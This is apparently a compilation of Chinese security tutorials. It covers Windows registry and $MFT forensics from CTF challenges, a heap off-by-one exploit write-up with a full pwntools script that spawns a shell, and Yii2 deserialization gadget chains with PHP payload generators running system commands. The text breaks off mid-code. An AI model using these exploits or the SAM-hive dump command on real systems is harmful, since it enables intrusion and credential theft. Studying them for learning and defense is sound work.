Windows 取证之注册表
一、概述
注册表(英语:Registry)是Microsoft Windows操作系统和其应用程序中的一个重要的层次型数据库,用于存储系统和应用程序的配置信息。
早在Windows 3.0推出OLE技术的时候,注册表就已经出现。但是,从Windows 95开始,注册表才真正成为Windows用户经常接触的内容,并在其后的操作系统中继续沿用至今。随后推出的Windows NT是第一个从系统级别广泛使用注册表的操作系统。(via 维基百科)
二、注册表的组成结构
注册表由键(key,或称“项”)、子键(subkey,子项)和值项(value)构成的hive文件组成,关于Windows注册表hive格式的详情说明可以参考这篇文章:https://github.com/msuhanov/regf/blob/master/Windows%20registry%20file%20format%20specification.md
注册表的结构是一个树状结构,一个键(key,或称“项”)就是一个节点,子键(subkey)就是这个节点的子节点,子健也是键。键的一条属性被称为一个value(值项),value由名称、类型、数据类型和数据组成。一个键可以有多个值,每个值的名称不同,如果值名称是空,则该值为该键的默认值。
可以打开注册表编辑器查看其结构组成:
注册表的主键,也就是主分支有五个,分别是:
HKEY_CLASSES_ROOT:包含启动应用程序所需的全部信息,包括扩展名,应用程序与文档之间的关系,驱动程序名,DDE和OLE信息,类ID编号和应用程序与文档的图标等。
HKEY_CURRENT_USER:包含当前用户的配置信息,比如环境变量,桌面设置等
HKEY_LOCAL_MACHINE:包括安装在计算机上的硬件和软件的信息
HKEY_USERS:包含计算机的所有用户配置信息
HKEY_CURRENT_CONFIG:当前硬件的配置信息。
注册表数据类型主要有以下几种:
REG_SZ:字符串类型,文本字符串
REG_BINARY:二进制类型,不定长度的二进制值,以16进制形式显示
REG_DWORD:双字,32 位的二进制值,显示为 8 位的十六进制值
REG_MULTI_SZ:多字符串,有多个文本值的字符串,字符串间用 nul 分隔、结尾两个 nul
REG_EXPAND_SZ:可扩展字符串,包含环境变量的字符串
注册表中时间格式有以下几种:
FILETIME:64位值,代表间隔多少个单位为100纳秒的时间(从UTC1601年1月1日开始)
Unix Time:32位值,代表间隔多少秒(从UTC1970年1月1日开始)。
DOS Date/Time:两个16位值,详细记录了当地时间和年月日。
三、注册表的存储
注册表在Windows NT操作系统中被分为多个文件存储,这些文件被称为Registry Hives,每一个文件被称为一个配置单元。
主要配置单元有:
SYSTEM:对应的注册表分支为HKEY_LOCAL_MACHINE\SYSTEM,对应的存储文件是\Windows\System32\config\SYSTEM,其作用是存储计算机硬件和系统的信息。
NTUSER.DAT:对应的注册表分支是HKEY_CURRENT_USER,存储在用户目录下,与其他注册表文件是分开的,主要用于存储用户的配置信息。
SAM:分支是HKEY_LOCAL_MACHINE\SAM,存储在C:\Windows\System32\config\SAM文件中,保存了用户的密码信息。
SECURITY:对应的分支HKEY_LOCAL_MACHINE\SECURITY,存储在C:\Windows\System32\config\SECURITY文件中,保存了安全性设置信息。
SOFTWARE:分支是HKEY_LOCAL_MACHINE\SOFTWARE,文件存储在C:\Windows\System32\config\SOFTWARE中,保存安装软件的信息。
修改注册表的主要方式有:1、使用提供Windows提供的注册表编辑器:%systemroot%\regedit.exe;2、使用reg命令,可以对注册表进行增删改查、导入导出注册表文件(reg文件)、导入导出或加载配置单元(RegHive)等操作;3、使用reg文件,用户可以通过注册表编辑器导出注册表某些项为一个reg文件,反之可以导入一个reg文件将项目还原或者修改。
此外,为了防止注册表出错和损坏,Registry hives还包括注册的事务日志文件和注册表的备份文件。事务日志文件名与注册表文件一致,且在同一个路径中,只是后缀不同。事务日志文件以.LOG为后缀,多个日志后缀会显示LOG1、LOG2这样。(如果要查看这些日志文件,需要打开文件夹选项,取消勾选“隐藏受保护的操作系统文件”)
备份文件则在\Windows\System32\config\RegBack\路径中。
在发生修改将数据写入到主文件之前,Hive写入器会先将这些数据存储在事务日志文件中,如果写入事务日志时发生错误(比如系统崩溃),则主文件不会受影响。如果写入主文件时发生错误,可以通过事务日志包含的数据恢复主文件。
四、获取和分析Hive
要获取Hive,可以通过reg save命令创建Registry Hives的副本。(在管理员权限的命令提示符中执行)
C:\WINDOWS\system32>reg save hklm\sam c:\sam
操作成功完成。
C:\WINDOWS\system32>
分析Hive可以使用开源软件RegRipper,RegRipper是一个用perl编写的开源工具,可以从注册表中提取和解析各种信息(Key、value、data)以供取证人员进行分析。
RegRipper项目地址:https://github.com/keydet89/RegRipper3.0
打开RegRipper软件,选择Hive文件,设置好报告存储路径,选择好Profile,然后点Rip It
它会创建两个文件,一个是日志文件,一个是报告文件
打开SAM hive的分析报告文件,可以看到用户和用户组的详细信息
五、取证实战
来源:Cynet应急响应挑战赛
题目描述:Podrick 说在2020 年 2 月 3 日午餐时间(下午 12:00 左右),有一个恶意的 USB 设备插入了他的电脑。他还提到他看到他的一位同事——Theon G,手里拿着 USB设备离开了他的办公室。但Theon 声称他进入办公室是为了拜访 Aria(与Podrick在同一办公室)。见Aria不在,他便离开了办公室。Podrick没有锁屏的习惯,他怀疑Theon趁他不在的时候窃取了他的数据。
提示:1、检查Podrick的电脑;2、确定2020年2月3日,是否有USB设备连接到Podrick的PC?;3、提交可疑 USB 设备的Serial/UID
题目提供的文件是几个Hive文件
这些文件代表什么,在前面的小节中都已经介绍过了,除了Amcache.hve,这是Win8及更高版本的系统才有的。它存储与执行程序相关的信息,当用户执行某些操作(例如运行基于主机的应用程序、安装新应用程序或从外部设备运行便携式应用程序)时,它会记录程序相关的信息:如程序的创建时间、修改时间、名称、描述、程序厂商和版本、程序的执行路径、SHA-1哈希值等。即使程序从系统中删除,这些信息依然存在。
回到题目,我们要调查USB使用痕迹,根据前面的知识,我们需要分析SYSTEM这个Hive文件。
打开RegRipper工具,加载提供的SYSTEM文件,导出分析报告。
打开报告文件,通过搜索USBSTOR(这个key(SYSTEM\CurrentControlSet\Enum\USBSTOR)存储了任何曾经连接过系统的USB设备的产品信息和设备ID),可以找到有关USB设备的注册表信息。
通过查找和筛选比对,最终我们找到2020-12:12:32有一个USB设备插入了电脑,Serial/UID是: 4C530000281008116284
参考资料:
Registry Hives - Win32 apps | Microsoft Docs https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry-hives
注册表 - 维基百科,自由的百科全书 https://zh.wikipedia.org/wiki/%E6%B3%A8%E5%86%8C%E8%A1%A8
regf/Windows registry file format specification.md at master · msuhanov/regf · GitHub https://github.com/msuhanov/regf/blob/master/Windows%20registry%20file%20format%20specification.md
本文涉及相关实验:FastIRCollector:https://www.yijinglab.com/expc.do?ec=ECID9d6c0ca797abec2016100814354600001 (FastIR Collector是一个Windows下的取证/信息收集工具,收集的东西揽括了所有你能想到的东西,不限于内存,注册表,文件信息等。本实验将介绍FastIR Collector在windows 7下的使用。)
Windows 取证之$MFT
一、什么是MFT
MFT,全称Master File Table,即主文件表,它是NTFS文件系统的核心。它是包含了NTFS卷中所有文件信息的数据库,在$MFT 中每个文件(包括MFT本身)至少有一个MFT,记录着该文件的各种信息。这些信息被称为属性。
NTFS使用MFT条目定义它们对应的文件,有关文件的所有信息,比如大小、时间、权限等都存在MFT条目中,或者由MFT条目描述存储在MFT外部的空间中。
MFT由一个个MFT项(也称为文件记录(File Record))组成,每个MFT项占用1024字节的空间。这个概念相当于Linux中的inode,File Record在$MFT文件中物理上是连续的,且从0开始编号,每个MFT项的前部几十个字节有着固定的头结构,用来描述本MFT项的相关信息。后面的字节存放着“属性”。(-via 百度百科)
二、MFT与数据恢复
在正常情况下,MTF条目会随着文件添加到NTFS卷中而增加,因此MFT的大小也会增加,当文件从NTFS卷中删除时,其MFT条目会被标记为free(空闲),以准备被重复使用,此条目会继续存在,直到它被新文件覆盖。但MFT所占空间大小不会因为删除文件而缩小。
例子:假如现在有100个MFT条目和一个文件X,现在删除文件X并立即创建500个以上文件,那么文件X的MFT条目将会被覆盖。虽然文件的内容可能存在与硬盘上,但包含名称、元数据等的MFT条目将被覆盖。
例子2:现在MFT有10000个条目,删除1000个文件和立即添加2个新文件。此时,可以恢复998个条目。不过文件的数据是否可以恢复得看它们是否已被覆盖。
这种文件数据和MFT条目分开的方式,会导致在删除操作后存在以下几种可能性:
1、文件被删除,但MFT条目和文件数据是100%可恢复的,则删除的文件可以100%被恢复。
2、文件被删除,MFT条目可恢复,但部分文件数据被覆盖,则该文件部分可被恢复。
3、文件被删除,MFT条目可恢复,但是文件数据被100%覆盖,则该文件不可恢复,但该文件相关属性信息(名称、日期、大小等信息)可被恢复。
4、文件被删除,MFT条目和文件数据100%可恢复,但文件已100%丢失,这种情况下。取证调查可以揭示该文件的大量信息,但不是通过MFT,而是使用其他证物。
5、文件被删除且MFT100%被覆盖,但文件数据未100%被覆盖。剩余的文件可以从磁盘上未分配的空间恢复。但雕刻数据的结果取决于碎片、可恢复数据的数量(可能是100%)和文件的性质。
当然,MFT被覆盖时,存在非100%被覆盖的情况,这种情况被称为MFT文件松弛,标准上来说,MFT条目被分配1024字节的固定空间。如果MFT条目小于1024字节。比如1000字节,则剩下为额外松弛空间。比如一个只有200字节长的密码文件,其文件数据也会被放置在MFT内,这种文件数据称为常驻数据。而文件名称、日期等元数据只占用大约500字节左右,如果删除了文件并在其位置创建了新的MFT条目,且不包括常驻数据。这意味着即使这个文件被删除,如果仔细检查也能恢复。
三、$MFT文件在取证中的应用
题目来源:Cynet应急响应挑战赛
题目描述:GOT公司的CTO在自己的笔记本上发现了可疑的活动。他说桌面上某些文件突然被移动了位置,而且其他文件似乎还在不合逻辑的日期被修改。他希望我们找出桌面上文件异常的相关证据。通过 一些技术检查,我们发现他是对的。桌面文件有明显的异常痕迹。请根据提供的$MFT文件找到与文件更改/修改相关的异常痕迹。
提示:1、找出受攻击者影响的文件名称及其原始创建时间。2、该文件位于桌面上。3、时间格式:DD-MM-YYYY HH:MM:SS ,文件名格式:filename.ext(ext是文件扩展名)
下载题目提供的文件
用Winhex打开可以查看其组成结构
我们可以通过$MFT解析软件把MFT条目导出来
Mft2Csvhttps://github.com/jschicht/Mft2Csv
下载打开软件,选择$MFT文件,然后导出到csv文件
导出的条目会以csv文件的形式存放在软件目录下
打开导出的csv文件,就可以看到文件的名称,日期,权限等各种信息
我们找到桌面上的相关文件
通过筛选,我们把要找的文件锁定在19个相关文件内容中
通过观察比较,发现其中一个文件时间有异常
0x0567DC00|GOOD|OK||88567|13|1|86832|1|Mod-File.txt|:\Users\DFIR\Desktop\Mod-File.txt|FILE|ALLOCATED|1|archive|archive|DOS+WIN32|0|2019-01-01 01:01:01.0000000|2019-01-01 01:01:01.0000000|2020-01-19 12:19:30.3933817|2019-01-01 01:01:01.0000000|0|2020-01-19 11:51:19.3290999|2020-01-19 11:51:25.8535572
上述项目对应的含义如下:
RecordOffset|Signature|IntegrityCheck|Style|HEADER_MFTREcordNumber|HEADER_SequenceNo|Header_HardLinkCount|FN_ParentReferenceNo|FN_ParentSequenceNo|FN_FileName|FilePath|HEADER_Flags|RecordActive|FileSizeBytes|SI_FilePermission|FN_Flags|FN_NameType|ADS|SI_CTime|SI_ATime|SI_MTime|SI_RTime|MSecTest|FN_C
在其文件日期修改日期和访问日期上都很不正常,都是2019-01-01 01:01:01.0000000,通过比较FN Info Creation date(FN_CTime)和Std Info Creation date(SI_CTime)发现两种时间不一致。(注:FN (FILE_NAME) ,SI (STANDARD_INFORMATION) );而$FN只能由内核级进程修改,攻击者想修改非常困难。
至此我们找出了被修改的文件是Mod-File.txt,文件的原始创建时间是19-01-2020 11:51:19
四、总结
攻击者利用的是Timestomp技术。Timestomp 是一种修改文件时间戳(修改,访问,创建和更改时间)的技术,通常用于模拟同一文件夹中的文件。该技术可以用在攻击者修改或创建的文件上,使得它们在取证调查人员或文件分析工具面前更加隐蔽。Timestomp 可以与文件名伪装(Masquerading)结合使用来隐藏恶意软件和工具。(https://attack.mitre.org/techniques/T1070/006/)
本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECID9d6c0ca797abec2016100813263000001 (本实验主要介绍 Linux 环境下的磁盘取证和内存取证工具的使用包括 Ftkimage、xmount、Volatility等。)
堆利用之Chunk extend Overlapping
漏洞简介
chunk extend overlapping在堆中是一种比较常见的利用手段,其主要原理就是因为某些意外情况我们可以去修改一些已经申请或在空闲状态的堆块的大小,从而造成堆块重叠的情况,而这也就引发了一系列安全隐患。
本文涉及相关实验:https://www.yijinglab.com/cour.do?w=1&c=CCID31b0-fe03-4277-8e2f-504c4960d33f (ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术,攻击者使用堆栈的控制来在现有程序代码中的子程序中的返回指令之前,立即间接地执行精心挑选的指令或机器指令组。)
这里我将根据一道题来介绍这个漏洞的利用流程
例题:HITCON Trainging lab13
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
查看保护机制,开启canary与nx保护,因为题目给出源码所以我们直接对着源码进行分析
源码分析
void menu(){
puts("--------------------------------");
puts(" Heap Creator ");
puts("--------------------------------");
puts(" 1. Create a Heap ");
puts(" 2. Edit a Heap ");
puts(" 3. Show a Heap ");
puts(" 4. Delete a Heap ");
puts(" 5. Exit ");
puts("--------------------------------");
printf("Your choice :");
}
经典菜单题,根据我们输入的选项执行不同的功能
Create函数
我们先看一下Create函数
void create_heap(){
int i ;
char buf[8];
size_t size = 0;
for(i = 0 ; i < 10 ; i++){
if(!heaparray[i]){
heaparray[i] = (struct heap *)malloc(sizeof(struct heap));
if(!heaparray[i]){
puts("Allocate Error");
exit(1);
}
printf("Size of Heap : ");
read(0,buf,8);
size = atoi(buf);
heaparray[i]->content = (char *)malloc(size);
if(!heaparray[i]->content){
puts("Allocate Error");
exit(2);
}
heaparray[i]->size = size ;
printf("Content of heap:");
read_input(heaparray[i]->content,size);
puts("SuccessFul");
break ;
}
}
}
heaparray数组是声明的heap结构体数组,其中的内容如下所示
struct heap {
size_t size ;
char *content ;
};
首先create函数会先为heaparray中的每一个结构体元素分配一个0x10大小的内存,然后在对结构体中的content指针分配我们所指定的大小的内存,并执行read_input函数存放我们输入的内容
Edit函数
接下来继续往下看Edit函数
void edit_heap(){
int idx ;
char buf[4];
printf("Index :");
read(0,buf,4);
idx = atoi(buf);
if(idx < 0 || idx >= 10){
puts("Out of bound!");
_exit(0);
}
if(heaparray[idx]){
printf("Content of heap : ");
read_input(heaparray[idx]->content,heaparray[idx]->size+1);
puts("Done !");
}else{
puts("No such heap !");
}
}
edit函数会根据我们输入的索引去heaparray中寻找对应的结构体,需要注意的是这里的索引与数组一致都是从零开始,这里需要注意的是read_input函数在写入内容时共存入了size+1位,这也就造成了off-by-one漏洞,找到一个漏洞点。
Show函数
继续往下Show函数打印对应结构体中content中存放的内容
void show_heap(){
int idx ;
char buf[4];
printf("Index :");
read(0,buf,4);
idx = atoi(buf);
if(idx < 0 || idx >= 10){
puts("Out of bound!");
_exit(0);
}
if(heaparray[idx]){
printf("Size : %ld\nContent : %s\n",heaparray[idx]->size,heaparray[idx]->content);
puts("Done !");
}else{
puts("No such heap !");
}
}
Delete函数
而我们最后需要关注的就是
void delete_heap(){
int idx ;
char buf[4];
printf("Index :");
read(0,buf,4);
idx = atoi(buf);
if(idx < 0 || idx >= 10){
puts("Out of bound!");
_exit(0);
}
if(heaparray[idx]){
free(heaparray[idx]->content);
free(heaparray[idx]);
heaparray[idx] = NULL ;
puts("Done !");
}else{
puts("No such heap !");
}
}
在delete函数中它是先将content申请的内存free掉再free的结构体内存,我们后面进行漏洞利用时这里会用到
漏洞利用
我们这里的利用思路是:
1、利用off by one漏洞完成堆重叠并构建含有/bin/sh的堆块
2、泄露出free函数并计算出libc基地址与system地址
3、覆盖free函数的got表中的地址为system地址
4、free掉包含/bin/sh的堆块,获取shell
我们先构造exp中上述代码对应的功能函数
def menu(index):
p.sendlineafter("Your choice :", str(index))
def Create(heap_size, content):
menu(1)
p.sendlineafter("Size of Heap : ", str(heap_size))
p.sendlineafter("Content of heap:", content)
def Edit(index, content):
menu(2)
p.sendlineafter("Index :", str(index))
p.sendlineafter("Content of heap : ", content)
def Show(index):
menu(3)
p.sendlineafter("Index :", str(index))
def Free(index):
menu(4)
p.sendlineafter("Index :", str(index))
1、利用off-by-one完成extend overlapping
在源码中我们发现了其存在off by one漏洞,我们就利用这个漏洞完成对堆块的extend overlapping
使用pwndbg对程序进行调试
--------------------------------
Heap Creator
--------------------------------
1. Create a Heap
2. Edit a Heap
3. Show a Heap
4. Delete a Heap
5. Exit
--------------------------------
Your choice :1
Size of Heap : 24
Content of heap:content1
SuccessFul
--------------------------------
Heap Creator
--------------------------------
1. Create a Heap
2. Edit a Heap
3. Show a Heap
4. Delete a Heap
5. Exit
--------------------------------
Your choice :1
Size of Heap : 16
Content of heap:content2
SuccessFul
首先我们创建两个heap,然后ctrl+c,使用heap指令查看当前堆的状态
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x603000
Size: 0x251
//struct1
Allocated chunk | PREV_INUSE
Addr: 0x603250
Size: 0x21
//struct1->content
Allocated chunk | PREV_INUSE
Addr: 0x603270
Size: 0x21
//stuct2
Allocated chunk | PREV_INUSE
Addr: 0x603290
Size: 0x21
//struct2->content
Allocated chunk | PREV_INUSE
Addr: 0x6032b0
Size: 0x21
//top chunk
Top chunk | PREV_INUSE
Addr: 0x6032d0
Size: 0x20d31
这些便是我们申请的内存,查看内存信息
pwndbg> x/20gx 0x603250
0x603250: 0x0000000000000000 0x0000000000000021
0x603260: 0x0000000000000018 0x0000000000603280
0x603270: 0x0000000000000000 0x0000000000000021
0x603280: 0x31746e65746e6f63 0x000000000000000a
0x603290: 0x0000000000000000 0x0000000000000021
0x6032a0: 0x0000000000000010 0x00000000006032c0
0x6032b0: 0x0000000000000000 0x0000000000000021
0x6032c0: 0x32746e65746e6f63 0x000000000000000a
0x6032d0: 0x0000000000000000 0x0000000000020d31
从地址到高地址依次是
0x603250-0x603268 heap_struct1申请的内存
0x603270-0x603288 heap_stuct1->content申请的内存
0x603290-0x6032a8 heap_struct2申请的内存
0x6032b0-0x6032c8 heap_struct2->content申请的内存
而它们的存储对应了系统中堆块的构造
我们拿第一个堆块进行说明
0x603250中存放的是其前一个堆块的大小(prev_size)
0x603258中存放的是当前堆块的大小(size)
0x603260-0x603268便是heap_struct1结构体存放的位置
特别的是当堆块的前一个堆块处于使用状态时,会被当前堆块size的最低位记为1,并且prev_size也会作为可利用内存供前一个堆块去存储数据。说到这里也就可以解释为什么size的大小是0x21了,在64位程序下,prev_size与size各占8字节大小,再加上data域的0x10,一共就是0x10+0x8+0x8=0x20,而因为当前堆块的size域中用来记录前一个堆块使用状态的P位被置一了,所以我们要再加1,所以最后存放在size域中的值是0x21。
继续回到漏洞利用,当我们创建完这4个堆块后(两个struct两个content),在执行Edit函数时,因为off-by-one漏洞的缘故,我们共可以输入size+1位字符,而当我们选择Edit的对象是content1时,因为堆是连续的,我们就可以覆盖掉struct2的一位字节,根据上面对于堆块的介绍,如果我们覆盖的是当前堆块的size时,就会造成extend,进而触发新的漏洞利用。
继续执行程序,因为我们content1申请了24的内存,所以这里我们输入25个字符。
查看堆中情况,发现因为off-by-one的缘故我们已经成功覆盖掉struct2的size域,而我们想要达到的目的是控制struct2以及struct2->content的内存,所以这里我们将数覆盖为0x41,及'A'的ASCII码值,对应exp如下所示:
Create(24, "content1")
Create(16, "content2")
binsh = "/bin/sh\x00"
Edit(0, binsh.ljust(25, "A"))
这里将填充位改为使用"/bin/sh"是为了我们后续获取shell时用到
接下来我们需要free掉heap2(struct2跟struct->content)
free(heaparray[idx]->content);
free(heaparray[idx]);
根据堆中bins的规则我们当前free的chunk会被回收到tcache中,而源码中我们是先free的struct->content再free的struct,而如果我们这时再申请一个堆块(记作struct3),那么struct3申请的内存区域就会是struct2->content刚刚free的内存区域,并且当我们令struct3->content所申请的内存大小为0x30时,经过我们extend后的struct2的内存区域就会被struct3->content使用。
我们用gdb调试free后新创建一个堆块的内存的布局
Free(1)
Create(0x30, "content3")
可以看到我们这里已经成功完成了extend overlapping,并且都被存放在了tcache中,继续执行程序
可以看到原先空闲的块已经被使用了,我们再来看看里面存的内容
可以看到这里我们已经成功创建了struct3与struct3->content的内存,这样看可能不是很明显,我在这里详细说明一下
0x22d5290-0x22d52c8 是struct3->content的内存区域
0x22d52b0-0x22d52c8 是struct3的结构体申请的内存区域
0x22d52d0-0x22d52d8 是arena的所属内存区域(即top chunk)
可以看出struct3的结构体内存区域是被包含在struct3->content的内存区域中的,而我们又可以通过Edit函数来对struct3->content的内存区域进行写入操作,那么我们现在所需要做的事情就是下面几步
1、泄露free函数got表中的真实地址
2、通过free函数的真实地址计算出libc基地址和system地址
3、将free_got中的地址替换为system函数的真实地址
4、获取shell
2、泄露free函数&&计算libc基地址与system地址
要达到这步我们现在只需要通过edit函数将struct3结构体中content指针的地址改为free_got的地址,并使用show函数打印出真实地址即可
对应exp如下所示
Edit(1, p64(0)*3+p64(0x21)+p64(0x30)+p64(free_got))
Show(1)
p.recvuntil("Content : ")
free_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
log.success("free addr: 0x%x"%free_addr)
而我们当有了free函数的基地址,就能求出libc与system的地址了
libc_base = free_addr - libc.symbols['free']
log.success('libc base addr: ' + hex(libc_base))
system_addr = libc_base + libc.symbols['system']
log.success('system addr: ' + hex(system_addr))
效果如下图所示
3、获取shell
到现在为止我们获取shell的所有必要条件都完成了,最后只需要修改掉free_got中的真实地址为system的地址即可。因为前面我们已经将struct结构体中的content指针地址修改为了free_got的地址,所有这里我们只需要通过Edit函数对其中的内容进行修改即可,修改完成后我们执行free函数也就等同于执行system函数,而在前面我们已经构建了一个包含"/bin/sh"的chunk(struct1->content),也就是说我们只要free掉struct1->content就可以完成漏洞利用获得shell
对应exp如下所示
Edit(1, p64(system_addr))
Free(0)
然后我们就能执行system("/bin/sh")获得shell
完整exp如下所示
from pwn import *
import time
def menu(index):
p.sendlineafter("Your choice :", str(index))
def Create(heap_size, content):
menu(1)
p.sendlineafter("Size of Heap : ", str(heap_size))
p.sendlineafter("Content of heap:", content)
def Edit(index, content):
menu(2)
p.sendlineafter("Index :", str(index))
p.sendlineafter("Content of heap : ", content)
def Show(index):
menu(3)
p.sendlineafter("Index :", str(index))
def Free(index):
menu(4)
p.sendlineafter("Index :", str(index))
def debug():
gdb.attach(p)
p = process('./heapcreator')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf = ELF('./heapcreator')
free_got = elf.got['free']
Create(24, "content1")
Create(16, "content2")
binsh = "/bin/sh\x00"
Edit(0, binsh.ljust(25, "A"))
Free(1)
Create(0x30, "content3")
Edit(1, p64(0)*3+p64(0x21)+p64(0x30)+p64(free_got))
Show(1)
p.recvuntil("Content : ")
free_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
log.success("free addr: 0x%x"%free_addr)
libc_base = free_addr - libc.symbols['free']
log.success('libc base addr: ' + hex(libc_base))
system_addr = libc_base + libc.symbols['system']
log.success('system addr: ' + hex(system_addr))
Edit(1, p64(system_addr))
debug()
Free(0)
p.interactive()
参考链接
https://blog.csdn.net/qq_41202237/article/details/108320408?fileGuid=6cwyDXdtXXk6t8Jvhttps://blog.csdn.net/weixin_43921239/article/details/107841328?fileGuid=6cwyDXdtXXk6t8Jv
通过几道CTF题学习yii2框架
简介
Yii是一套基于组件、用于开发大型 Web 应用的高性能 PHP 框架,Yii2 2.0.38 之前的版本存在反序列化漏洞,程序在调用unserialize()时,攻击者可通过构造特定的恶意请求执行任意命令,本篇就分析一下yii2利用链以及如何自己去构造payload,并结合CTF题目去学习yii2框架
Yii2<2.0.38反序列化
安装:在 https://github.com/yiisoft/yii2/releases 下载2.0.37的版本
然后在 yii-basic-app-2.0.37\basic\config\web.php里面往cookieValidationKey随意给点值,运行 php yii serve,新建一个控制器
yii-basic-app-2.0.37\basic\controllers\TestController.php
<?php
namespace app\controllers;
use yii\web\Controller;
class TestController extends Controller{
public function actionTest($name){
return unserialize($name);
}
}
就可以进行测试了
?r=test/test&name=
链一
链的入口在
yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2\db\BatchQueryResult.php
public function __destruct()
{
// make sure cursor is closed
$this->reset();
}
跟进$this->reset();
public function reset()
{
if ($this->_dataReader !== null) {
$this->_dataReader->close();
}
这里的$this->_dataReader可控,并调用了close()方法,那么可以找到一个类不存在close()方法,但存在__call方法就可以调用他了
在yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2-gii\src\Generator.php
public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}
这里的$method为close,$attributes为空,继续跟进format
public function format($formatter, $arguments = array())
{
return call_user_func_array($this->getFormatter($formatter), $arguments);
}
跟进getFormatter
public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
似曾相识的代码,laravel5.8某条链就出现过,这里$this->formatters可控,也就是$this->getFormatter($formatter)这这个可控,但是$arguments的值我们无法控制,值为空
到这里可以执行phpinfo了
<?php
namespace yii\db{
class BatchQueryResult{
private $_dataReader;
public function __construct($_dataReader) {
$this->_dataReader = $_dataReader;
}
}
}
namespace Faker{
class Generator{
protected $formatters = array();
public function __construct($formatters) {
$this->formatters = $formatters;
}
}
}
namespace {
$a = new Faker\Generator(array('close'=>'phpinfo'));
$b = new yii\db\BatchQueryResult($a);
print(urlencode(serialize($b)));
}
但是我们想要rce的话,还要在yii2中已有的无参方法中进行挖掘
这里我们可以使用正则匹配直接搜索含有call_user_function的无参函数
call_user_func\(\$this->([a-zA-Z0-9]+), \$this->([a-zA-Z0-9]+)
然后找到下面两个都比较好用
yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2\rest\IndexAction.php
public function run()
{
if ($this->checkAccess) {
call_user_func($this->checkAccess, $this->id);
}
return $this->prepareDataProvider();
}
yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2\rest\CreateAction.php
public function run()
{
if ($this->checkAccess) {
call_user_func($this->checkAccess, $this->id);
}
这里的$this->checkAccess和$this->id都是我们可控的
所以直接构造就行了
<?php
namespace yii\db{
class BatchQueryResult{
private $_dataReader;
public function __construct($_dataReader) {
$this->_dataReader = $_dataReader;
}
}
}
namespace Faker{
class Generator{
protected $formatters = array();
public function __construct($formatters) {
$this->formatters = $formatters;
}
}
}
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct($checkAccess,$id){
$this->checkAccess = $checkAccess;
$this->id = $id;
}
}
}
namespace {
$c = new yii\rest\CreateAction('system','whoami');
$b = new Faker\Generator(array('close'=>array($c, 'run')));
$a = new yii\db\BatchQueryResult($b);
print(urlencode(serialize($a)));
}
链二
这个是yii2 2.0.37的另外一条链
起点和链一相同,是BatchQueryResult类的__destruct,然后是$this->_dataReader->close(),但是这里不找__call,我们去找存在close方法的类
找到yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2\web\DbSession.php
class DbSession extends MultiFieldSession
{
...
public function close()
{
if ($this->getIsActive()) {
// prepare writeCallback fields before session closes
$this->fields = $this->composeFields();
这里跟进$this->composeFields()
abstract class MultiFieldSession extends Session
{
protected function composeFields($id = null, $data = null)
{
$fields = $this->writeCallback ? call_user_func($this->writeCallback, $this) : [];
这里$this->writeCallback可控,$this是一个对象,所以这里调phpinfo的话应该不行,不过可以续上链一的run方法(即那个无参的方法)
这里直接构造即可
<?php
namespace yii\db{
class BatchQueryResult{
private $_dataReader;
public function __construct($_dataReader) {
$this->_dataReader = $_dataReader;
}
}
}
namespace yii\web{
class DbSession{
public $writeCallback;
public function __construct($writeCallback) {
$this->writeCallback = $writeCallback;
}
}
}
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct($checkAccess,$id){
$this->checkAccess = $checkAccess;
$this->id = $id;
}
}
}
namespace {
$c = new yii\rest\CreateAction('system','whoami');
$b = new yii\web\DbSession(array($c, 'run'));
$a = new yii\db\BatchQueryResult($b);
print(urlencode(serialize($a)));
}
链三
我们可以在yii2 2.0.38的commit看到他加了一个__wakeup
这里限制了链一的起点BatchQueryResult无法使用,后面的__call的链没有被破坏,所以我们继续寻找一个__destruct
yii-basic-app-2.0.37\basic\vendor\codeception\codeception\ext\RunProcess.php
public function __destruct()
{
$this->stopProcess();
}
这里继续跟进stopProcess
public function stopProcess()
{
foreach (array_reverse($this->processes) as $process) {
/** @var $process Process **/
if (!$process->isRunning()) {
continue;
}
这里的$this->processes可控,所以可以利用$process->isRunning()来进行触发__call
后面的利用就和链一相同了
<?php
namespace Codeception\Extension{
class RunProcess{
private $processes = [];
public function __construct($processes) {
$this->processes[] = $processes;
}
}
}
namespace Faker{
class Generator{
protected $formatters = array();
public function __construct($formatters) {
$this->formatters = $formatters;
}
}
}
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct($checkAccess,$id){
$this->checkAccess = $checkAccess;
$this->id = $id;
}
}
}
namespace {
$c = new yii\rest\CreateAction('system','whoami');
$b = new Faker\Generator(array('isRunning'=>array($c, 'run')));
$a = new Codeception\Extension\RunProcess($b);
print(urlencode(serialize($a)));
}
链四
同样的先找__destruct
yii-basic-app-2.0.37\basic\vendor\swiftmailer\swiftmailer\lib\classes\Swift\KeyCache\DiskKeyCache.php
public function __destruct()
{
foreach ($this->keys as $nsKey => $null) {
$this->clearAll($nsKey);
}
}
这里$nsKey可控,跟进clearAll
public function clearAll($nsKey)
{
if (array_key_exists($nsKey, $this->keys)) {
foreach ($this->keys[$nsKey] as $itemKey => $null) {
$this->clearKey($nsKey, $itemKey);
}
if (is_dir($this->path.'/'.$nsKey)) {
rmdir($this->path.'/'.$nsKey);
}
unset($this->keys[$nsKey]);
}
}
这里没有触发__call的地方,但是存在字符串的拼接,可以触发__toString
随便找找就找到了yii-basic-app-2.0.37\basic\vendor\codeception\codeception\src\Codeception\Util\XmlBuilder.php
public function __toString()
{
return $this->__dom__->saveXML();
}
同样用他去触发__call
<?php
namespace {
